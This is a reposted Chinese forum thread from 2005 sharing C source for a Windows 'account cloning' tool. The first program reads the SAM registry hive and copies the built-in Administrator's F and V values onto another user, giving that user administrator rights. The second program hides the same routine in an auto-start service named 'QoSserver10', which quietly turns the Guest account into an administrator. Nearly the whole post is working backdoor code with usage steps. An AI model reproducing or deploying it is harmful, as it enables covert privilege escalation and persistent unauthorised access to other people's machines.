返回列表 发帖
千與千尋 该用户已被删除
楼主 跳转到 » 倒序看帖
打印
tT
千與千尋发表于 2005-7-23 18:27 | 只看该作者

[转帖]用C实现克隆帐号[code]

很早的东西了，学编程的可以参考…………
  1. //---------------------------------------------------------------------------
  2. //用法:
  3. //编辑好后,需要自己用regedt32把SAM键及其子键设置为administrator可以访问才能使用
  4. //---------------------------------------------------------------------------
  5. &#35;include <windows.h>
  6. &#35;include <stdio.h>
  7. char name[50][30];//这些是Open函数里的
  8. int openN=0;
  9. &#35;pragma hdrstop
  10. //---------------------------------------------------------------------------
  11. &#35;pragma argsused
  12. //---------------------------------------------------------------------------
  13. // Open
  14. // 打开一个键
  15. //---------------------------------------------------------------------------
  16. void Open(char *set)
  17. {
  18. int i=0;
  19. HKEY hkey;
  20. DWORD dwlndex=0,cbname=100,ret=0;
  21. char temp[100],szBuff[100];
  22. FILETIME ftlastwt;
  23. ZeroMemory(szBuff,100);
  24. ZeroMemory(temp,100);
  25. ZeroMemory(name,1500);
  27. RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  28. set,
  29. 0,
  30. KEY_ALL_ACCESS,
  31. &hkey);
  32. for( i=0 ; ret==ERROR_SUCCESS ; i++, dwlndex++ )
  33. {
  34. ret = RegEnumKeyEx( hkey,
  35. dwlndex,
  36. temp,
  37. &cbname,
  38. NULL,
  39. NULL,
  40. NULL,
  41. &ftlastwt
  42. );
  43. strcat(name[i],temp);
  44. ZeroMemory(temp,100);
  45. cbname=100;
  46. }
  47. RegCloseKey(hkey);
  48. for(openN=0;openN<i;openN++)
  49. {
  50. strcat(szBuff,name[openN]);
  51. strcat(szBuff,"\n\r");
  52. }
  53. printf("%s",szBuff);
  54. return ;
  55. }
  56. //---------------------------------------------------------------------------
  57. // ViewType
  58. // test
  59. //---------------------------------------------------------------------------
  60. ViewType(char *set)
  61. {
  62. HKEY hkey;
  63. DWORD Type=0,ret;
  64. char szBuff[10];
  66. ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  67. set,
  68. 0,
  69. KEY_ALL_ACCESS,
  70. &hkey);
  71. if(ret==ERROR_SUCCESS) ;
  72. else
  73. {
  74. printf("open key FAIL\n\r");
  75. return 0;
  76. }
  77. RegQueryValueEx( hkey, // handle to key
  78. NULL, // value name,要查寻默认值的话，键名就是NULL
  79. NULL, // reserved
  80. &Type, // type buffer
  81. NULL, // data buffer
  82. NULL // size of data buffer
  83. );
  84. wsprintf(szBuff,"%X\n\r",Type);
  85. printf("%s",szBuff);
  86. return 1;
  87. }
  88. //---------------------------------------------------------------------------
  89. // ListUser
  90. // 列出本机所有的用户名和RID标识符
  91. //---------------------------------------------------------------------------
  92. ListUser()
  93. {
  94. char szBuff[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
  95. char szTemp[40]={';\0';};
  96. Open("SAM\\SAM\\Domains\\Account\\Users\\Names");
  97. for(int n=0;n<openN;n++)
  98. {
  99. strcat(szBuff,name[n]);
  100. wsprintf(szTemp,name[n]);
  101. strcat(szTemp,"--->");
  102. printf("%s",szTemp);
  103. ViewType(szBuff);
  104. strcpy(szBuff,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
  105. }
  106. return 1;
  107. }
  108. //---------------------------------------------------------------------------
  109. // Clone
  110. // 克隆帐号
  111. //---------------------------------------------------------------------------
  112. int Clone(char *user)
  113. {
  114. HKEY hkeyRoot,hkeyUser;
  115. char CloneUserKey[100];
  116. DWORD Type=REG_BINARY,sizeF=1024*2,sizeV=1024*10,ret;
  117. LPBYTE lpDataF,lpDataV;
  118. lpDataF = (LPBYTE) malloc(1024*2);
  119. lpDataV = (LPBYTE) malloc(1024*10);
  120. ZeroMemory(lpDataF,1024*2);
  121. ZeroMemory(lpDataV,1024*10);
  122. ZeroMemory(CloneUserKey,100);
  123. strcpy(CloneUserKey,"SAM\\SAM\\Domains\\Account\\Users\\00000");
  124. strcat(CloneUserKey,user);
  125. ret= RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  126. "SAM\\SAM\\Domains\\Account\\Users\\000001F4",
  127. 0,
  128. KEY_ALL_ACCESS,
  129. &hkeyRoot);
  130. if(ret==ERROR_SUCCESS) ;
  131. else
  132. {
  133. printf("open key FAIL\n\r");
  134. return 0;
  135. }
  136. ret = RegQueryValueEx( hkeyRoot, // handle to key
  137. "F", // value name
  138. NULL, // reserved
  139. &Type, // type buffer
  140. lpDataF, // data buffer
  141. &sizeF // size of data buffer
  142. );
  143. if(ret==ERROR_SUCCESS) ;
  144. else
  145. {
  146. printf("Query key FAIL\n\r");
  147. return 0;
  148. }
  149. ret = RegQueryValueEx( hkeyRoot, // handle to key
  150. "V", // value name
  151. NULL, // reserved
  152. &Type, // type buffer
  153. lpDataV, // data buffer
  154. &sizeV // size of data buffer
  155. );
  156. if(ret==ERROR_SUCCESS) ;
  157. else
  158. {
  159. printf("Query key FAIL\n\r");
  160. return 0;
  161. }
  162. ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  163. CloneUserKey,
  164. 0,
  165. KEY_ALL_ACCESS,
  166. &hkeyUser);
  167. if(ret==ERROR_SUCCESS) ;
  168. else
  169. {
  170. printf("open key FAIL\n\r");
  171. return 0;
  172. }
  173. ret= RegSetValueEx( hkeyUser,
  174. "F",
  175. 0,
  176. REG_BINARY,
  177. lpDataF,
  178. sizeF);
  179. if(ret==ERROR_SUCCESS) ;
  180. else
  181. {
  182. printf("set key FAIL\n\r");
  183. return 0;
  184. }
  185. ret= RegSetValueEx( hkeyUser,
  186. "V",
  187. 0,
  188. REG_BINARY,
  189. lpDataV,
  190. sizeV);
  191. if(ret==ERROR_SUCCESS) ;
  192. else
  193. {
  194. printf("set key FAIL\n\r");
  195. return 0;
  196. }
  197. if(ret==ERROR_SUCCESS)
  198. printf("clone SUCCESS\n\r");
  199. else
  200. {
  201. printf("clone FAIL\n\r");
  202. return 0;
  203. }
  204. RegCloseKey(hkeyRoot);
  205. RegCloseKey(hkeyUser);
  206. return 1;
  207. }
  208. //---------------------------------------------------------------------------
  209. // main()
  210. // 主调函数
  211. //---------------------------------------------------------------------------
  212. int main()
  213. {
  214. char command[20]={';\0';};
  215. char temp[5]={';\0';};
  216. printf("\n=*=Clone Account Ver0.01 Code By NOIR=*=\n\n");
  217. while(1)
  218. {
  219. printf("please enter the command:");
  220. gets(command);
  221. if( (strcmp(command,"listuser"))==0 )
  222. ListUser();
  223. if( (strncmp(command,"clone",5))==0 )
  224. {
  225. strcpy(temp,command+6);
  226. Clone(temp);
  227. }
  228. if( (strcmp(command,"exit")==0) )
  229. exit(0);
  230. }
  231. }
复制代码
  1. //-------------------------------------------------------------------------
  2. //用法:
  3. //先在命令行下输入"Ex-Service install",安装服务.
  4. //再在服务管理器里启动名为QoSserver的服务,一旦启动会将Guest帐号克隆为administrator
  5. //-------------------------------------------------------------------------
  6. &#35;include <windows.h>
  7. &#35;include <stdio.h>
  8. void WINAPI KServiceMain(DWORD argc, LPTSTR * argv);
  9. void InstallService(const char * szServiceName);
  10. int Clone(char *user);
  12. int main(int argc, char * argv[])
  13. {
  14. if ((argc==2) && (::strcmp(argv[1], "install")==0))
  15. {
  16. InstallService("QoSserver10");
  17. return 0;
  18. }
  19. SERVICE_TABLE_ENTRY service_table_entry[] ={
  20. { "QoSserver10",//后台服务线程的名称
  21. KServiceMain },//后台服务线程入口点
  22. { NULL,
  23. NULL }//标志表的结束
  24. };//定义了两个SERVICE_TABLE_ENTRY结构数组
  25. StartServiceCtrlDispatcher(service_table_entry);//指明一个服务的主线程
  26. return 0;
  27. }
  28. SERVICE_STATUS servicestatus;
  29. SERVICE_STATUS_HANDLE servicestatushandle;
  30. void InstallService(const char * szServiceName)
  31. {
  32. SC_HANDLE hService=0,handle=0;
  33. handle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  34. if (handle!=NULL)
  35. {
  36. char szFilename[256];
  37. GetModuleFileName(NULL, szFilename, 255);
  38. hService = CreateService( handle,
  39. szServiceName,
  40. szServiceName,
  41. SERVICE_ALL_ACCESS,
  42. SERVICE_WIN32_OWN_PROCESS,
  43. SERVICE_AUTO_START,
  44. SERVICE_ERROR_IGNORE,
  45. szFilename,
  46. NULL,
  47. NULL,
  48. NULL,
  49. NULL,
  50. NULL );
  51. }
  52. CloseServiceHandle(hService);
  53. CloseServiceHandle(handle);
  54. }
  56. void WINAPI ServiceCtrlHandler(DWORD dwControl)
  57. {
  58. switch (dwControl)
  59. {
  60. case SERVICE_CONTROL_PAUSE:
  61. servicestatus.dwCurrentState = SERVICE_PAUSE_PENDING;
  62. SetServiceStatus(servicestatushandle, &servicestatus);
  63. servicestatus.dwCurrentState = SERVICE_PAUSED;
  64. break;
  65. case SERVICE_CONTROL_CONTINUE:
  66. servicestatus.dwCurrentState = SERVICE_CONTINUE_PENDING;
  67. SetServiceStatus(servicestatushandle, &servicestatus);
  68. servicestatus.dwCurrentState = SERVICE_RUNNING;
  69. break;
  70. case SERVICE_CONTROL_STOP:
  71. servicestatus.dwCurrentState = SERVICE_STOP_PENDING;
  72. SetServiceStatus(servicestatushandle, &servicestatus);
  73. servicestatus.dwCurrentState = SERVICE_STOPPED;
  74. break;
  75. case SERVICE_CONTROL_SHUTDOWN:
  76. break;
  77. case SERVICE_CONTROL_INTERROGATE:
  78. servicestatus.dwCurrentState = SERVICE_RUNNING;
  79. break;
  80. }
  81. SetServiceStatus(servicestatushandle, &servicestatus);
  82. }
  83. void WINAPI KServiceMain(DWORD argc, LPTSTR * argv)
  84. {
  85. //注册服务控制处理函数
  86. bool bInitialized = true;
  87. servicestatushandle =::RegisterServiceCtrlHandler("QoSserver10", ServiceCtrlHandler);
  88. if (servicestatushandle == (SERVICE_STATUS_HANDLE)0)
  89. return;
  90. servicestatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  91. servicestatus.dwCurrentState = SERVICE_START_PENDING;
  92. servicestatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;//表明Service目前能接受的命令是SERVICE_CONTROL_STOP 标志
  93. servicestatus.dwWin32ExitCode = 0;
  94. servicestatus.dwServiceSpecificExitCode = 0;
  95. servicestatus.dwCheckPoint = 0;
  96. servicestatus.dwWaitHint = 0;
  97. SetServiceStatus(servicestatushandle, &servicestatus);//必须随时更新数据库中Service的状态。
  98. servicestatus.dwCheckPoint = 0;
  99. servicestatus.dwWaitHint = 0;
  100. Clone("406");
  101. if (!bInitialized)
  102. {
  103. servicestatus.dwCurrentState = SERVICE_STOPPED;
  104. servicestatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;
  105. servicestatus.dwServiceSpecificExitCode = 1;
  106. }
  107. else
  108. {
  109. servicestatus.dwCurrentState = SERVICE_RUNNING;
  110. }
  111. SetServiceStatus(servicestatushandle, &servicestatus);
  112. return;
  113. }
  114. int Clone(char *user)
  115. {
  116. HKEY hkeyRoot,hkeyUser;
  117. char CloneUserKey[100];
  118. DWORD Type=REG_BINARY,sizeF=1024*2,sizeV=1024*10,ret;
  119. LPBYTE lpDataF,lpDataV;
  120. lpDataF = (LPBYTE) malloc(1024*2);
  121. lpDataV = (LPBYTE) malloc(1024*10);
  122. ZeroMemory(lpDataF,1024*2);
  123. ZeroMemory(lpDataV,1024*10);
  124. ZeroMemory(CloneUserKey,100);
  125. strcpy(CloneUserKey,"SAM\\SAM\\Domains\\Account\\Users\\00000");
  126. strcat(CloneUserKey,user);
  127. ret= RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  128. "SAM\\SAM\\Domains\\Account\\Users\\000001F4",
  129. 0,
  130. KEY_ALL_ACCESS,
  131. &hkeyRoot);
  132. if(ret==ERROR_SUCCESS) ;
  133. else
  134. {
  135. printf("open key FAIL\n\r");
  136. return 0;
  137. }
  138. ret = RegQueryValueEx( hkeyRoot,
  139. "F",
  140. NULL,
  141. &Type,
  142. lpDataF,
  143. &sizeF
  144. );
  145. if(ret==ERROR_SUCCESS) ;
  146. else
  147. {
  148. printf("Query key FAIL\n\r");
  149. return 0;
  150. }
  151. ret = RegQueryValueEx( hkeyRoot,
  152. "V",
  153. NULL,
  154. &Type,
  155. lpDataV,
  156. &sizeV
  157. );
  158. if(ret==ERROR_SUCCESS) ;
  159. else
  160. {
  161. printf("Query key FAIL\n\r");
  162. return 0;
  163. }
  164. ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  165. CloneUserKey,
  166. 0,
  167. KEY_ALL_ACCESS,
  168. &hkeyUser);
  169. if(ret==ERROR_SUCCESS) ;
  170. else
  171. {
  172. printf("open key FAIL\n\r");
  173. return 0;
  174. }
  175. ret= RegSetValueEx( hkeyUser,
  176. "F",
  177. 0,
  178. REG_BINARY,
  179. lpDataF,
  180. sizeF);
  181. if(ret==ERROR_SUCCESS) ;
  182. else
  183. {
  184. printf("set key FAIL\n\r");
  185. return 0;
  186. }
  187. ret= RegSetValueEx( hkeyUser,
  188. "V",
  189. 0,
  190. REG_BINARY,
  191. lpDataV,
  192. sizeV);
  193. if(ret==ERROR_SUCCESS) ;
  194. else
  195. {
  196. printf("set key FAIL\n\r");
  197. return 0;
  198. }
  199. if(ret==ERROR_SUCCESS)
  200. printf("clone SUCCESS\n\r");
  201. else
  202. {
  203. printf("clone FAIL\n\r");
  204. return 0;
  205. }
  206. RegCloseKey(hkeyRoot);
  207. RegCloseKey(hkeyUser);
  208. return 1;
  209. }
复制代码
收藏 分享

返回列表 回复 发帖